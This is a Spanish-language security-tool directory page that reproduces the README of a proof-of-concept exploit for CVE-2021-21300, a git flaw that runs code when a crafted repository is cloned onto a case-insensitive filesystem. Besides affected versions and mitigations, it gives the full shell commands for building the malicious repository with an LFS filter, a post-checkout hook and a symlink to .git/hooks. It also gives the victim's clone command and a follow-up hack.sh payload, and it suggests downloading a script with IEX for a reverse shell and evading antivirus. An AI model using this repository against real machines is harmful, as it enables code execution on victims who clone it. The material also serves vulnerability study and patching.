Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-21300 — Prueba de concepto del exploit para CVE-2021-21300, que demuestra la ejecución remota de código mediante la clonación de un repositorio git malicioso con abuso de enlaces simbólicos y filtros en sistemas de archivos que no distinguen entre mayúsculas y minúsculas. | Kitploit
Herramientas/GitHubGitHub/fengzhouc/cve-2021-21300
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónMovimiento LateralShellcodePost-ExplotaciónComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

Prueba de concepto del exploit para CVE-2021-21300, que demuestra la ejecución remota de código mediante la clonación de un repositorio git malicioso con abuso de enlaces simbólicos y filtros en sistemas de archivos que no distinguen entre mayúsculas y minúsculas.

3hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2021-21300

En múltiples versiones de git, el manejo de los enlaces simbólicos no es estricto. Después de subir archivos a git en un sistema de archivos sensible a mayúsculas (por ejemplo, Linux), clonar un repositorio malicioso en un host que utilice un sistema de archivos insensible a mayúsculas (por ejemplo, Windows) puede provocar la ejecución remota de comandos.

Versiones afectadas

De 2.15 a la actual 2.30.1

Solución

  1. Actualizar la versión

  2. Como se indica a continuación:

Deshabilitar el symlink de git: git config --global core.symlinks false

Deshabilitar el filtro de proceso (normalmente LFS usa esta función); se puede comprobar mediante git config --show-scope --get-regexp 'filter..*.process

Condiciones de activación

  1. En el repositorio hay un enlace simbólico y un directorio con el mismo nombre.

  2. El enlace simbólico apunta a un directorio especial (actualmente parece ser .git/hooks).

  3. La máquina víctima necesita tener permisos suficientes para ejecutar comandos maliciosos.

Reproducción

01 Preparación del entorno

① Preparación del repositorio:

Sistema: ubuntux64

Es necesario instalar git, git-lfs

Ejecutar el comando git lfs install puede reportar un error

Error: Failed to call git rev-parse --git-dir: exit status 128

Puede ignorarse

Cuando aparezca Git LFS initialized. la instalación estará completa.

② Máquina víctima:

Sistema: win10x64

git for Windows: Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

La instalación de git for Windows puede dejarse toda por defecto.

02 Preparación del repositorio malicioso

① Crear un nuevo repositorio en GitHub:

Hay muchos tutoriales en línea al respecto; no se ampliará aquí.

② Construir el repositorio malicioso en Ubuntu y subirlo a GitHub:

Ejecute los siguientes comandos:

root@kitploit:~
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main

03 Prueba de ataque

En el powershell (administrador) de win10, ejecute el siguiente comando:

git clone -c core.symlinks=true [自己的仓库地址]

Después del clone, si aparece PWNED, la ejecución remota de comandos es exitosa.

Se puede observar que, durante el clone, se ejecutaron los comandos del archivo post-checkout.

La idea es usar IEX para descargar un script y luego obtener una shell a través de la escucha en Kali, pero la mayoría de los scripts serán detectados y bloqueados; mediante evasión de antivirus debería ser posible lograrlo.

04 Explotación adicional

Agregue el archivo de script hack.sh en el directorio.

Contenido:

root@kitploit:~
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

Modifique el comando ejecutado en post-checkout para ejecutar el script:

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

Descargar herramienta